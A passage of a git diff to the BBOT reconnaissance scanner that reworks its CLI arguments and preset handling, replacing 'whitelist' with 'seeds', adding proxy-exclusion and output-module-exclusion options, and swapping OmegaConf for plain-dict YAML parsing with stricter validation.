@@ -174,6 +204,9 @@ def preset_from_args(self):
         if self.parsed.proxy:
             args_preset.core.merge_custom({"web": {"http_proxy": self.parsed.proxy}})
 
+        if self.parsed.no_proxy:
+            args_preset.core.merge_custom({"web": {"http_proxy_exclude": self.parsed.no_proxy}})
+
         if self.parsed.custom_headers:
             args_preset.core.merge_custom({"web": {"http_headers": self.parsed.custom_headers}})
 
@@ -185,26 +218,18 @@ def preset_from_args(self):
                 {"modules": {"excavate": {"custom_yara_rules": self.parsed.custom_yara_rules}}}
             )
 
-        # Check if both user_agent and user_agent_suffix are set. If so combine them and merge into the config
-        if self.parsed.user_agent and self.parsed.user_agent_suffix:
-            modified_user_agent = f"{self.parsed.user_agent} {self.parsed.user_agent_suffix}"
-            args_preset.core.merge_custom({"web": {"user_agent": modified_user_agent}})
-
-        # If only user_agent_suffix is set, retrieve the existing user_agent from the merged config and append the suffix
-        elif self.parsed.user_agent_suffix:
-            existing_user_agent = args_preset.core.config.get("web", {}).get("user_agent", "")
-            modified_user_agent = f"{existing_user_agent} {self.parsed.user_agent_suffix}"
-            args_preset.core.merge_custom({"web": {"user_agent": modified_user_agent}})
-
-        # If only user_agent is set, merge it directly
-        elif self.parsed.user_agent:
+        if self.parsed.user_agent:
             args_preset.core.merge_custom({"web": {"user_agent": self.parsed.user_agent}})
 
-        # CLI config options (dot-syntax)
+        if self.parsed.user_agent_suffix:
+            args_preset.core.merge_custom({"web": {"user_agent_suffix": self.parsed.user_agent_suffix}})
+
+        # CLI config options (dot-syntax) -- parsed type-aware so string fields
+        # keep their literal value (e.g. an all-numeric password isn't coerced to int)
+        index = self._config_type_index()
         for config_arg in self.parsed.config:
             try:
-                # if that fails, try to parse as key=value syntax
-                args_preset.core.merge_custom(OmegaConf.from_cli([config_arg]))
+                args_preset.core.merge_custom(parse_dotted_cli([config_arg], index=index))
             except Exception as e:
                 raise BBOTArgumentError(f'Error parsing command-line config option: "{config_arg}": {e}')
 
@@ -225,21 +250,19 @@ def create_parser(self, *args, **kwargs):
         p = argparse.ArgumentParser(*args, **kwargs)
 
         target = p.add_argument_group(title="Target")
+        target.add_argument("-t", "--targets", nargs="+", default=[], help="Target scope", metavar="TARGET")
         target.add_argument(
-            "-t", "--targets", nargs="+", default=[], help="Targets to seed the scan", metavar="TARGET"
-        )
-        target.add_argument(
-            "-w",
-            "--whitelist",
+            "-s",
+            "--seeds",
             nargs="+",
             default=None,
-            help="What's considered in-scope (by default it's the same as --targets)",
+            help="Define seeds to drive passive modules without being in scope (if not specified, defaults to same as targets)",
         )
         target.add_argument("-b", "--blacklist", nargs="+", default=[], help="Don't touch these things")
         target.add_argument(
             "--strict-scope",
             action="store_true",
-            help="Don't consider subdomains of target/whitelist to be in-scope",
+            help="Don't consider subdomains of target to be in-scope - exact matches only",
         )
         presets = p.add_argument_group(title="Presets")
         presets.add_argument(
@@ -298,16 +321,15 @@ def create_parser(self, *args, **kwargs):
             "--exclude-flags",
             nargs="+",
             default=[],
-            help="Disable modules with these flags. (e.g. -ef aggressive)",
+            help="Disable modules with these flags. (e.g. -ef loud)",
             metavar="FLAG",
         )
-        modules.add_argument("--allow-deadly", action="store_true", help="Enable the use of highly aggressive modules")
 
         scan = p.add_argument_group(title="Scan")
         scan.add_argument("-n", "--name", help="Name of scan (default: random)", metavar="SCAN_NAME")
         scan.add_argument("-v", "--verbose", action="store_true", help="Be more verbose")
         scan.add_argument("-d", "--debug", action="store_true", help="Enable debugging")
-        scan.add_argument("-s", "--silent", action="store_true", help="Be quiet")
+        scan.add_argument("-S", "--silent", action="store_true", help="Be quiet")
         scan.add_argument(
             "--force",
             action="store_true",
@@ -351,12 +373,21 @@ def create_parser(self, *args, **kwargs):
             "--output-modules",
             nargs="+",
             default=[],
-            help=f"Output module(s). Choices: {','.join(sorted(self.preset.module_loader.output_module_choices))}",
+            help=f"Add output module(s). Choices: {','.join(sorted(self.preset.module_loader.output_module_choices))}",
+            metavar="MODULE",
+        )
+        output.add_argument(
+            "-eom",
+            "--exclude-output-modules",
+            nargs="+",
+            default=[],
+            help="Exclude output module(s)",
             metavar="MODULE",
         )
         output.add_argument("-lo", "--list-output-modules", action="store_true", help="List available output modules")
         output.add_argument("--json", "-j", action="store_true", help="Output scan data in JSON format")
         output.add_argument("--brief", "-br", action="store_true", help="Output only the data itself")
+        output.add_argument("--no-color", action="store_true", help="Disable colored terminal output")
         output.add_argument("--event-types", nargs="+", default=[], help="Choose which event types to display")
         output.add_argument(
             "--exclude-cdn",
@@ -368,6 +399,7 @@ def create_parser(self, *args, **kwargs):
         deps = p.add_argument_group(
             title="Module dependencies", description="Control how modules install their dependencies"
         )
+        # Behavior flags are mutually exclusive with each other. But need to be able to be combined with --install-all-deps.
         g2 = deps.add_mutually_exclusive_group()
         g2.add_argument("--no-deps", action="store_true", help="Don't install module dependencies")
         g2.add_argument("--force-deps", action="store_true", help="Force install all module dependencies")
@@ -375,11 +407,28 @@ def create_parser(self, *args, **kwargs):
         g2.add_argument(
             "--ignore-failed-deps", action="store_true", help="Run modules even if they have failed dependencies"
         )
-        g2.add_argument("--install-all-deps", action="store_true", help="Install dependencies for all modules")
+        deps.add_argument("--install-all-deps", action="store_true", help="Install dependencies for all modules")
 
         misc = p.add_argument_group(title="Misc")
         misc.add_argument("--version", action="store_true", help="show BBOT version and exit")
+        misc.add_argument(
+            "--reset-config",
+            action="store_true",
+            help="Regenerate bbot.yml from current defaults (overwrites; backs up to .bak)",
+        )
+        misc.add_argument(
+            "--reset-secrets",
+            action="store_true",
+            help="Regenerate secrets.yml from current defaults (overwrites; backs up to .bak)",
+        )
         misc.add_argument("--proxy", help="Use this proxy for all HTTP requests", metavar="HTTP_PROXY")
+        misc.add_argument(
+            "--no-proxy",
+            nargs="+",
+            default=[],
+            help="Exclude these hosts from proxy (e.g. localhost *.internal.corp 10.0.0.0/8)",
+            metavar="HOST",
+        )
         misc.add_argument(
             "-H",
             "--custom-headers",
@@ -397,7 +446,9 @@ def create_parser(self, *args, **kwargs):
         misc.add_argument("--custom-yara-rules", "-cy", help="Add custom yara rules to excavate")
 
         misc.add_argument("--user-agent", "-ua", help="Set the user-agent for all HTTP requests")
-        misc.add_argument("--user-agent-suffix", "-uas", help=argparse.SUPPRESS, metavar="SUFFIX", default=None)
+        misc.add_argument(
+            "--user-agent-suffix", "-uas", help="Suffix to append to the user-agent", metavar="SUFFIX", default=None
+        )
         return p
 
     def sanitize_args(self):
@@ -408,15 +459,16 @@ def sanitize_args(self):
         self.parsed.modules = chain_lists(self.parsed.modules)
         self.parsed.exclude_modules = chain_lists(self.parsed.exclude_modules)
         self.parsed.output_modules = chain_lists(self.parsed.output_modules)
+        self.parsed.exclude_output_modules = chain_lists(self.parsed.exclude_output_modules)
         self.parsed.targets = chain_lists(
-            self.parsed.targets, try_files=True, msg="Reading targets from file: {filename}"
+            self.parsed.targets, try_files=True, msg="Reading targets from file: {filename}", _strip_comments=True
         )
-        if self.parsed.whitelist is not None:
-            self.parsed.whitelist = chain_lists(
-                self.parsed.whitelist, try_files=True, msg="Reading whitelist from file: {filename}"
+        if self.parsed.seeds is not None:
+            self.parsed.seeds = chain_lists(
+                self.parsed.seeds, try_files=True, msg="Reading seeds from file: {filename}", _strip_comments=True
             )
         self.parsed.blacklist = chain_lists(
-            self.parsed.blacklist, try_files=True, msg="Reading blacklist from file: {filename}"
+            self.parsed.blacklist, try_files=True, msg="Reading blacklist from file: {filename}", _strip_comments=True
         )
         self.parsed.flags = chain_lists(self.parsed.flags)
         self.parsed.exclude_flags = chain_lists(self.parsed.exclude_flags)
@@ -459,17 +511,25 @@ def sanitize_args(self):
         if self.parsed.fast_mode:
             self.parsed.preset += ["fast"]
 
+    def _config_type_index(self):
+        """Config type index for type-directed CLI parsing, or None if it can't
+        be built yet (then parsing falls back to plain YAML coercion)."""
+        try:
+            return self.preset.module_loader.config_type_index
+        except Exception:
+            return None
+
     def validate(self):
-        # validate config options
-        sentinel = object()
-        all_options = set(get_keys_in_dot_syntax(self.preset.core.default_config))
-        for c in self.parsed.config:
-            c = c.split("=")[0].strip()
-            v = OmegaConf.select(self.preset.core.default_config, c, default=sentinel)
-            # if option isn't in the default config
-            if v is sentinel:
-                # skip if it's excluded from validation
-                if self.exclude_from_validation.match(c):
-                    continue
-                # otherwise, ensure it exists as a module option
-                raise ValidationError(get_closest_match(c, all_options, msg="config option"))
+        """
+        Validate the CLI `-c key=value` arguments against the composite
+        preset schema. Catches typos like `bbot -c modules.shoudn.api_key=x`
+        with a closest-match suggestion.
+        """
+        from .validate import validate_preset
+
+        if not self.parsed.config:
+            return
+        cli_dict = parse_dotted_cli(self.parsed.config, index=self._config_type_index())
+        errs = validate_preset({"config": cli_dict}, module_loader=self.preset.module_loader)
+        if errs:
+            raise ValidationError("\n".join(str(e) for e in errs))
diff --git a/bbot/scanner/preset/environ.py b/bbot/scanner/preset/environ.py
index a222dd1bb3..8581e05890 100644
--- a/bbot/scanner/preset/environ.py
+++ b/bbot/scanner/preset/environ.py
@@ -1,6 +1,5 @@
 import os
 import sys
-import omegaconf
 from pathlib import Path
 
 from bbot.core.helpers.misc import (
@@ -33,11 +32,6 @@ def increase_limit(new_limit):
 increase_limit(65535)
 
 
-# Custom custom omegaconf resolver to get environment variables
-def env_resolver(env_name, default=None):
-    return os.getenv(env_name, default)
-
-
 def add_to_path(v, k="PATH", environ=None):
     """
     Add an entry to a colon-separated PATH variable.
@@ -65,26 +59,25 @@ def add_to_path(v, k="PATH", environ=None):
 add_to_path(local_bin_dir)
 
 
-# Register the new resolver
-# this allows you to substitute environment variables in your config like "${env:PATH}""
-omegaconf.OmegaConf.register_new_resolver("env", env_resolver)
-
-
 class BBOTEnviron:
     def __init__(self, preset):
         self.preset = preset
 
     def flatten_config(self, config, base="bbot"):
         """
-        Flatten a JSON-like config into a list of environment variables:
-            {"modules": [{"httpx": {"timeout": 5}}]} --> "BBOT_MODULES_HTTPX_TIMEOUT=5"
+        Flatten a JSON-like config into a sequence of (KEY, value) env var pairs:
+            {"modules": {"http": {"threads": 10}}} --> ("BBOT_MODULES_HTTP_THREADS", "10")
+
+        Lists are skipped (they don't translate cleanly to env var values).
+        None values are skipped too, since `str(None)` would write the literal
+        string "None" into the env, which is never a useful value for a consumer.
         """
-        if type(config) == omegaconf.dictconfig.DictConfig:
+        if isinstance(config, dict):
             for k, v in config.items():
                 new_base = f"{base}_{k}"
-                if type(v) == omegaconf.dictconfig.DictConfig:
+                if isinstance(v, dict):
                     yield from self.flatten_config(v, base=new_base)
-                elif type(v) != omegaconf.listconfig.ListConfig:
+                elif v is not None and not isinstance(v, list):
                     yield (new_base.upper(), str(v))
 
     def prepare(self):
@@ -125,14 +118,21 @@ def prepare(self):
             environ.pop("HTTP_PROXY", None)
             environ.pop("HTTPS_PROXY", None)
 
+        # handle proxy exclusions (NO_PROXY)
+        http_proxy_exclude = self.preset.config.get("web", {}).get("http_proxy_exclude", [])
+        if http_proxy_exclude:
+            environ["NO_PROXY"] = ",".join(str(x) for x in http_proxy_exclude)
+        else:
+            environ.pop("NO_PROXY", None)
+
         # ssl verification
         import urllib3
 
         urllib3.disable_warnings()
-        ssl_verify = self.preset.config.get("ssl_verify", False)
+        ssl_verify_infrastructure = self.preset.config.get("web", {}).get("ssl_verify_infrastructure", True)
 
         global REQUESTS_PATCHED
-        if not ssl_verify and not REQUESTS_PATCHED:
+        if not ssl_verify_infrastructure and not REQUESTS_PATCHED:
             REQUESTS_PATCHED = True
             import requests
             import functools
diff --git a/bbot/scanner/preset/path.py b/bbot/scanner/preset/path.py
index 56b74392f3..9e5acb48e5 100644
--- a/bbot/scanner/preset/path.py
+++ b/bbot/scanner/preset/path.py
@@ -16,22 +16,25 @@ class PresetPath:
 
     def __init__(self):
         self.paths = [DEFAULT_PRESET_PATH]
+        self._listable = {DEFAULT_PRESET_PATH}
 
     def find(self, filename):
         filename_path = Path(filename).expanduser()
+        if "/" in str(filename):
+            resolved = filename_path.resolve()
+            if resolved.is_file():
+                self.add_path(resolved.parent)
+                return resolved
+            self.add_path(filename_path.parent)
         extension = filename_path.suffix.lower()
         file_candidates = set()
         extension_candidates = {".yaml", ".yml"}
         if extension:
             extension_candidates.add(extension.lower())
-        else:
-            file_candidates.add(filename_path.stem)
         for ext in extension_candidates:
             file_candidates.add(f"{filename_path.stem}{ext}")
         file_candidates = sorted(file_candidates)
         file_candidates_str = ",".join([str(s) for s in file_candidates])
-        if "/" in str(filename):
-            self.add_path(filename_path.parent)
         log.debug(f"Searching for {file_candidates_str} in {[str(p) for p in self.paths]}")
         for path in self.paths:
             for candidate in file_candidates:
@@ -47,21 +50,55 @@ def find(self, filename):
     def __str__(self):
         return ":".join([str(s) for s in self.paths])
 
-    def add_path(self, path):
+    def add_path(self, path, listable=False):
         path = Path(path).expanduser().resolve()
         # skip if already in paths
         if path in self.paths:
+            if listable:
+                self._listable.add(path)
             return
         # skip if path is a subdirectory of any path in paths
         if any(path.is_relative_to(p) for p in self.paths):
+            if listable:
+                self._listable.add(path)
             return
         # skip if path is not a directory
         if not path.is_dir():
             log.debug(f'Path "{path.resolve()}" is not a directory')
             return
-        # preemptively remove any paths that are subdirectories of the new path
-        self.paths = [p for p in self.paths if not p.is_relative_to(path)]
+        # preemptively remove any paths that are subdirectories of the new path,
+        # but never remove the default preset path
+        self.paths = [p for p in self.paths if p == DEFAULT_PRESET_PATH or not p.is_relative_to(path)]
         self.paths.insert(0, path)
+        if listable:
+            self._listable.add(path)
+
+    @property
+    def listable_paths(self):
+        return [p for p in self.paths if p in self._listable]
+
+    def find_file(self, filename):
+        """Search known preset paths for a file of any type (e.g. target lists).
+
+        For absolute paths, checks directly. For relative paths, searches each
+        known preset path and its subdirectories (consistent with how ``find()``
+        uses rglob for preset YAML files), then falls back to CWD.
+
+        Returns the resolved Path if found, otherwise None.
+        """
+        filename_path = Path(filename).expanduser()
+        if filename_path.is_absolute():
+            resolved = filename_path.resolve()
+            return resolved if resolved.is_file() else None
+        for path in self.paths:
+            for match in path.rglob(str(filename_path)):
+                if match.is_file():
+                    return match.resolve()
+        # fall back to CWD
+        candidate = filename_path.resolve()
+        if candidate.is_file():
+            return candidate
+        return None
 
     def __iter__(self):
         yield from self.paths
diff --git a/bbot/scanner/preset/preset.py b/bbot/scanner/preset/preset.py
index b81bfda65c..ed9e502c6f 100644
--- a/bbot/scanner/preset/preset.py
+++ b/bbot/scanner/preset/preset.py
@@ -1,11 +1,9 @@
 import os
 import yaml
 import logging
-import omegaconf
 import traceback
 from copy import copy
 from pathlib import Path
-from contextlib import suppress
 
 from .path import PRESET_PATH
 
@@ -76,8 +74,8 @@ class Preset(metaclass=BasePreset):
         Based on the state of the preset, you can print a warning message, abort the scan, enable/disable modules, etc..
 
     Attributes:
-        target (Target): Target(s) of scan.
-        whitelist (Target): Scan whitelist (by default this is the same as `target`).
+        target (BBOTTarget): The scan target object containing seeds, target, and blacklist.
+            Use `target.target` to access what's in the target (what `in_target()` checks).
         blacklist (Target): Scan blacklist (this takes ultimate precedence).
         helpers (ConfigAwareHelper): Helper containing various reusable functions, regexes, etc.
         output_dir (pathlib.Path): Output directory for scan.
@@ -93,7 +91,7 @@ class Preset(metaclass=BasePreset):
         require_flags (set): Require modules to have these flags. When set, automatically removes offending modules.
         exclude_flags (set): Exclude modules that have any of these flags. When set, automatically removes offending modules.
         module_dirs (set): Custom directories from which to load modules (alias to `self.module_loader.module_dirs`). When set, automatically preloads contained modules.
-        config (omegaconf.dictconfig.DictConfig): BBOT config (alias to `core.config`)
+        config (dict): BBOT config (alias to `core.config`)
         core (BBOTCore): Local copy of BBOTCore object.
         verbose (bool): Whether log level is currently set to verbose. When set, updates log level for all BBOT log handlers.
         debug (bool): Whether log level is currently set to debug. When set, updates log level for all BBOT log handlers.
@@ -115,12 +113,13 @@ class Preset(metaclass=BasePreset):
 
     def __init__(
         self,
-        *targets,
-        whitelist=None,
+        *target,
+        seeds=None,
         blacklist=None,
         modules=None,
         output_modules=None,
         exclude_modules=None,
+        exclude_output_modules=None,
         flags=None,
         require_flags=None,
         exclude_flags=None,
@@ -142,12 +141,16 @@ def __init__(
         Initializes the Preset class.
 
         Args:
-            *targets (str): Target(s) to scan. Types supported: hostnames, IPs, CIDRs, emails, open ports.
-            whitelist (list, optional): Whitelisted target(s) to scan. Defaults to the same as `targets`.
+            *target (str): Target(s) to scan. These ALWAYS become the target (what `in_target()` checks).
+                Types supported: hostnames, IPs, CIDRs, emails, open ports.
+                Note: Positional arguments always mean target, never seeds.
+            seeds (list, optional): Explicitly define seeds (initial events for passive modules).
+                If not specified, seeds will be backfilled from target when target is defined.
             blacklist (list, optional): Blacklisted target(s). Takes ultimate precedence. Defaults to empty.
             modules (list[str], optional): List of scan modules to enable for the scan. Defaults to empty list.
-            output_modules (list[str], optional): List of output modules to use. Defaults to csv, human, and json.
+            output_modules (list[str], optional): Additional output modules to enable (additive on top of defaults).
             exclude_modules (list[str], optional): List of modules to exclude from the scan.
+            exclude_output_modules (list[str], optional): Output modules to exclude (e.g. to remove defaults).
             require_flags (list[str], optional): Only enable modules if they have these flags.
             exclude_flags (list[str], optional): Don't enable modules if they have any of these flags.
             module_dirs (list[str], optional): additional directories to load modules from.
@@ -176,6 +179,8 @@ def __init__(
         self._module_loader = None
         self._yaml_str = ""
         self._baked = False
+        # whether this preset has been validated+coerced (a precondition for bake())
+        self._validated = False
 
         self._default_output_modules = None
         self._default_internal_modules = None
@@ -183,6 +188,7 @@ def __init__(
         # modules / flags
         self.modules = set()
         self.exclude_modules = set()
+        self.exclude_output_modules = set()
         self.flags = set()
         self.exclude_flags = set()
         self.require_flags = set()
@@ -200,6 +206,10 @@ def __init__(
             exclude_modules = []
         if isinstance(exclude_modules, str):
             exclude_modules = [exclude_modules]
+        if exclude_output_modules is None:
+            exclude_output_modules = []
+        if isinstance(exclude_output_modules, str):
+            exclude_output_modules = [exclude_output_modules]
         if flags is None:
             flags = []
         if isinstance(flags, str):
@@ -231,7 +241,7 @@ def __init__(
         # preset description, default blank
         self.description = description or ""
 
-        # custom conditions, evaluated during .bake()
+        # custom conditions, evaluated during Scanner._prep()
         self.conditions = []
         if conditions is not None:
             for condition in conditions:
@@ -246,7 +256,7 @@ def __init__(
         # bbot core config
         self.core = CORE.copy()
         if config is None:
-            config = omegaconf.OmegaConf.create({})
+            config = {}
         # merge custom configs if specified by the user
         self.core.merge_custom(config)
 
@@ -260,18 +270,24 @@ def __init__(
         self._module_dirs = set()
         self.module_dirs = module_dirs
 
-        # target / whitelist / blacklist
+        # target / seeds / blacklist
         # these are temporary receptacles until they all get .baked() together
-        self._seeds = set(targets if targets else [])
-        self._whitelist = set(whitelist) if whitelist else whitelist
+        self._target_list = set(target or [])
         self._blacklist = set(blacklist if blacklist else [])
+        # seeds are special. Instead of initializing them as an empty set, we use "None"
+        # to signify they haven't been explicitly set.
+        # after all the merging is done, if seeds are still untouched by the user
+        # (i.e. they are still None), we'll know it's okay to copy them from the targets.
+        self._seeds = set(seeds) if seeds else None
 
+        # _target doesn't get set until .bake()
         self._target = None
 
         # we don't fill self.modules yet (that happens in .bake())
         self.explicit_scan_modules.update(set(modules))
         self.explicit_output_modules.update(set(output_modules))
         self.exclude_modules.update(set(exclude_modules))
+        self.exclude_output_modules.update(set(exclude_output_modules))
         self.flags.update(set(flags))
         self.exclude_flags.update(set(exclude_flags))
         self.require_flags.update(set(require_flags))
@@ -288,16 +304,10 @@ def target(self):
 
     @property
     def seeds(self):
-        if self._seeds is None:
+        if self._target is None:
             raise ValueError("Cannot access target before preset is baked (use ._seeds instead)")
         return self.target.seeds
 
-    @property
-    def whitelist(self):
-        if self._target is None:
-            raise ValueError("Cannot access whitelist before preset is baked (use ._whitelist instead)")
-        return self.target.whitelist
-
     @property
     def blacklist(self):
         if self._target is None:
@@ -313,7 +323,7 @@ def default_output_modules(self):
         if self._default_output_modules is not None:
             output_modules = self._default_output_modules
         else:
-            output_modules = ["python", "csv", "txt", "json"]
+            output_modules = ["csv", "txt", "json"]
             if self._cli:
                 output_modules.append("stdout")
         return output_modules
@@ -356,6 +366,7 @@ def merge(self, other):
         # modules + flags
         # establish requirements / exclusions first
         self.exclude_modules.update(other.exclude_modules)
+        self.exclude_output_modules.update(other.exclude_output_modules)
         self.require_flags.update(other.require_flags)
         self.exclude_flags.update(other.exclude_flags)
         # then it's okay to start enabling modules
@@ -364,13 +375,12 @@ def merge(self, other):
         self.flags.update(other.flags)
 
         # target / scope
-        self._seeds.update(other._seeds)
-        # leave whitelist as None until we encounter one
-        if other._whitelist is not None:
-            if self._whitelist is None:
-                self._whitelist = set(other._whitelist)
+        self._target_list.update(other._target_list)
+        if other._seeds is not None:
+            if self._seeds is None:
+                self._seeds = set(other._seeds)
             else:
-                self._whitelist.update(other._whitelist)
+                self._seeds.update(other._seeds)
         self._blacklist.update(other._blacklist)
 
         # module dirs
@@ -397,14 +407,17 @@ def merge(self, other):
         # transfer args
         if other._args is not None:
             self._args = other._args
+        # the preset changed -- it must be re-validated before baking
+        self._validated = False
 
     def bake(self, scan=None):
         """
         Return a "baked" copy of this preset, ready for use by a BBOT scan.
 
+        Presets can be merged and modified before baking, but once baked, they are immutable.
+
         Baking a preset finalizes it by populating `preset.modules` based on flags,
         performing final validations, and substituting environment variables in preloaded modules.
-        It also evaluates custom `conditions` as specified in the preset.
 
         This function is automatically called in Scanner.__init__(). There is no need to call it manually.
         """
@@ -429,27 +442,27 @@ def bake(self, scan=None):
             os.environ.clear()
             os.environ.update(os_environ)
 
-            # assign baked preset to our scan
-            scan.preset = baked_preset
+        # bake() requires an already validated + coerced preset. Validation and
+        # coercion are a PRECONDITION (Preset.validate(), the caller's
+        # responsibility) -- enforced here so an unvalidated preset never bakes.
+        if not self._validated:
+            raise ValidationError(
+                "Preset must be validated before baking -- call .validate() first "
+                "(Scanner and the CLI do this for you)."
+            )
 
         # validate log level options
         baked_preset.apply_log_level(apply_core=scan is not None)
 
-        # validate flags, config options
-        baked_preset.validate()
-
         # now that our requirements / exclusions are validated, we can start enabling modules
         # enable scan modules
         for module in baked_preset.explicit_scan_modules:
             baked_preset.add_module(module, module_type="scan")
 
-        # enable output modules
-        output_modules_to_enable = set(baked_preset.explicit_output_modules)
-        default_output_modules = self.default_output_modules
-        output_module_override = any(m in default_output_modules for m in output_modules_to_enable)
-        # if none of the default output modules have been explicitly specified, enable them all
-        if not output_module_override:
-            output_modules_to_enable.update(self.default_output_modules)
+        # enable output modules (always additive: defaults + explicit, minus excluded)
+        output_modules_to_enable = set(self.default_output_modules)
+        output_modules_to_enable.update(baked_preset.explicit_output_modules)
+        output_modules_to_enable -= baked_preset.exclude_output_modules
         for module in output_modules_to_enable:
             baked_preset.add_module(module, module_type="output", raise_error=False)
 
@@ -474,29 +487,48 @@ def bake(self, scan=None):
                     self.log_debug(f'Enabling module "{module}" because it has flag "{flag}"')
                     baked_preset.add_module(module, module_type, raise_error=False)
 
-        # ensure we have output modules
-        if not baked_preset.output_modules:
+        # ensure we have output modules (unless the user explicitly excluded them)
+        if not baked_preset.output_modules and not baked_preset.exclude_output_modules:
             for output_module in self.default_output_modules:
                 baked_preset.add_module(output_module, module_type="output", raise_error=False)
 
+        # dnsresolve is the intercept module that resolves every event, tags wildcards/unresolved,
+        # and rewrites wildcard hits to `_wildcard.parent`. Modules that watch DNS_NAME depend on
+        # those tags to filter false positives; without it, brute-force and passive-enum modules
+        # emit unverified and wildcard-tainted names. This catches all three explicit opt-outs:
+        # `-em dnsresolve`, top-level `dnsresolve: false`, and `dns.disable: true`. We check the
+        # user actions rather than "dnsresolve in modules" so that internal-module-trimming code
+        # paths (e.g. `--list-module-options` setting `_default_internal_modules = []`) don't trip
+        # the gate -- those aren't real scans, and the user hasn't asked to disable anything.
+        dnsresolve_disabled = (
+            "dnsresolve" in baked_preset.exclude_modules
+            or baked_preset.config.get("dnsresolve", True) is False
+            or baked_preset.config.get("dns", {}).get("disable", False)
+        )
+        if dnsresolve_disabled:
+            dns_name_consumers = sorted(
+                m
+                for m in baked_preset.modules
+                if "DNS_NAME" in baked_preset.preloaded_module(m).get("watched_events", [])
+            )
+            if dns_name_consumers:
+                raise ValidationError(
+                    f"dnsresolve is required by these enabled modules but is disabled: {', '.join(dns_name_consumers)}. "
+                    "Use `dns.minimal: true` (resolves A/AAAA only, skips MX/NS/SRV expansion) "
+                    "if you want to reduce DNS overhead while keeping wildcard and unresolved tagging. "
+                    "If you genuinely want no DNS at all, also disable the modules listed above."
+                )
+
         # create target object
         from bbot.scanner.target import BBOTTarget
 
         baked_preset._target = BBOTTarget(
-            *list(self._seeds),
-            whitelist=self._whitelist,
+            seeds=list(self._seeds) if self._seeds else None,
+            target=list(self._target_list),
             blacklist=self._blacklist,
             strict_scope=self.strict_scope,
         )
 
-        if scan is not None:
-            # evaluate conditions
-            if baked_preset.conditions:
-                from .conditions import ConditionEvaluator
-
-                evaluator = ConditionEvaluator(baked_preset)
-                evaluator.evaluate()
-
         self._baked = True
         return baked_preset
 
@@ -579,16 +611,14 @@ def apply_log_level(self, apply_core=False):
             if apply_core:
                 self.core.logger.log_level = "CRITICAL"
                 for key in ("verbose", "debug"):
-                    with suppress(omegaconf.errors.ConfigKeyError):
-                        del self.core.custom_config[key]
+                    self.core.custom_config.pop(key, None)
         else:
             # then debug
             if self.debug:
                 self.verbose = False
                 if apply_core:
                     self.core.logger.log_level = "DEBUG"
-                    with suppress(omegaconf.errors.ConfigKeyError):
-                        del self.core.custom_config["verbose"]
+                    self.core.custom_config.pop("verbose", None)
             else:
                 # finally verbose
                 if self.verbose and apply_core:
@@ -635,8 +665,25 @@ def in_scope(self, host):
     def blacklisted(self, host):
         return self.target.blacklisted(host)
 
-    def whitelisted(self, host):
-        return self.target.whitelisted(host)
+    def in_target(self, host):
+        return self.target.in_target(host)
+
+    @staticmethod
+    def _resolve_file_entries(entries):
+        """Resolve relative file paths in target/seeds/blacklist entries via PresetPath.
+
+        Replaces entries that match a file in PresetPath's known directories with
+        their absolute path, so that chain_lists' existing try_files logic can find them.
+        Entries that don't match a file are left as-is.
+        """
+        resolved = []
+        for entry in entries:
+            found = PRESET_PATH.find_file(entry)
+            if found is not None:
+                resolved.append(str(found))
+            else:
+                resolved.append(entry)
+        return resolved
 
     @classmethod
     def from_dict(cls, preset_dict, name=None, _exclude=None, _log=False):
@@ -655,13 +702,50 @@ def from_dict(cls, preset_dict, name=None, _exclude=None, _log=False):
         Examples:
             >>> preset = Preset.from_dict({"target": ["evilcorp.com"], "modules": ["portscan"]})
         """
+        from .validate import prevalidate_preset
+
+        # Gate top-level keys only -- .get() below would silently drop a typo like
+        # `modlues:`. Config values + _validated are validate()'s job, not from_dict's.
+        errs = prevalidate_preset(preset_dict)
+        if errs:
+            raise ValidationError("\n".join(str(e) for e in errs))
+
+        from bbot.core.helpers.misc import chain_lists
+
+        # Handle seeds and targets from dict
+        # for user-friendliness, we allow both "target" and "targets" to be used. we merge them into a single list.
+        target_vals = (preset_dict.get("target") or []) + (preset_dict.get("targets") or [])
+        # resolve relative file paths via PresetPath (which knows the preset's directory)
+        targets = chain_lists(
+            cls._resolve_file_entries(target_vals),
+            try_files=True,
+            msg="Reading targets from preset file: {filename}",
+            _strip_comments=True,
+        )
+        seeds = preset_dict.get("seeds")
+        if seeds is not None:
+            seeds = chain_lists(
+                cls._resolve_file_entries(seeds),
+                try_files=True,
+                msg="Reading seeds from preset file: {filename}",
+                _strip_comments=True,
+            )
+        blacklist = preset_dict.get("blacklist")
+        if blacklist is not None:
+            blacklist = chain_lists(
+                cls._resolve_file_entries(blacklist),
+                try_files=True,
+                msg="Reading blacklist from preset file: {filename}",
+                _strip_comments=True,
+            )
         new_preset = cls(
-            *preset_dict.get("target", []),
-            whitelist=preset_dict.get("whitelist"),
-            blacklist=preset_dict.get("blacklist"),
+            *targets,
+            seeds=seeds,
+            blacklist=blacklist,
             modules=preset_dict.get("modules"),
             output_modules=preset_dict.get("output_modules"),
             exclude_modules=preset_dict.get("exclude_modules"),
+            exclude_output_modules=preset_dict.get("exclude_output_modules"),
             flags=preset_dict.get("flags"),
             require_flags=preset_dict.get("require_flags"),
             exclude_flags=preset_dict.get("exclude_flags"),
@@ -727,8 +811,17 @@ def from_yaml_file(cls, filename, _exclude=None, _log=False):
                 yaml_str = open(filename).read()
             except FileNotFoundError:
                 raise PresetNotFoundError(f'Could not find preset at "{filename}" - file does not exist')
+            try:
+                yaml_dict = yaml.safe_load(yaml_str) or {}
+            except yaml.YAMLError as e:
+                raise ValidationError(
+                    f"YAML syntax error in {filename}:\n\n{e}\n\nPlease check the file for indentation or formatting errors."
+                )
             preset = cls.from_dict(
-                omegaconf.OmegaConf.create(yaml_str), name=filename.stem, _exclude=_exclude, _log=_log
+                yaml_dict,
+                name=filename.stem,
+                _exclude=_exclude,
+                _log=_log,
             )
             preset._yaml_str = yaml_str
             preset.filename = filename
@@ -750,14 +843,20 @@ def from_yaml_string(cls, yaml_preset):
             >>> - portscan'''
             >>> preset = Preset.from_yaml_string(yaml_string)
         """
-        return cls.from_dict(omegaconf.OmegaConf.create(yaml_preset))
+        try:
+            yaml_dict = yaml.safe_load(yaml_preset) or {}
+        except yaml.YAMLError as e:
+            raise ValidationError(
+                f"YAML syntax error in preset:\n\n{e}\n\nPlease check the YAML for indentation or formatting errors."
+            )
+        return cls.from_dict(yaml_dict)
 
     def to_dict(self, include_target=False, full_config=False, redact_secrets=False):
         """
         Convert this preset into a Python dictionary.
 
         Args:
-            include_target (bool, optional): If True, include target, whitelist, and blacklist in the dictionary
+            include_target (bool, optional): If True, include seeds, target, and blacklist in the dictionary
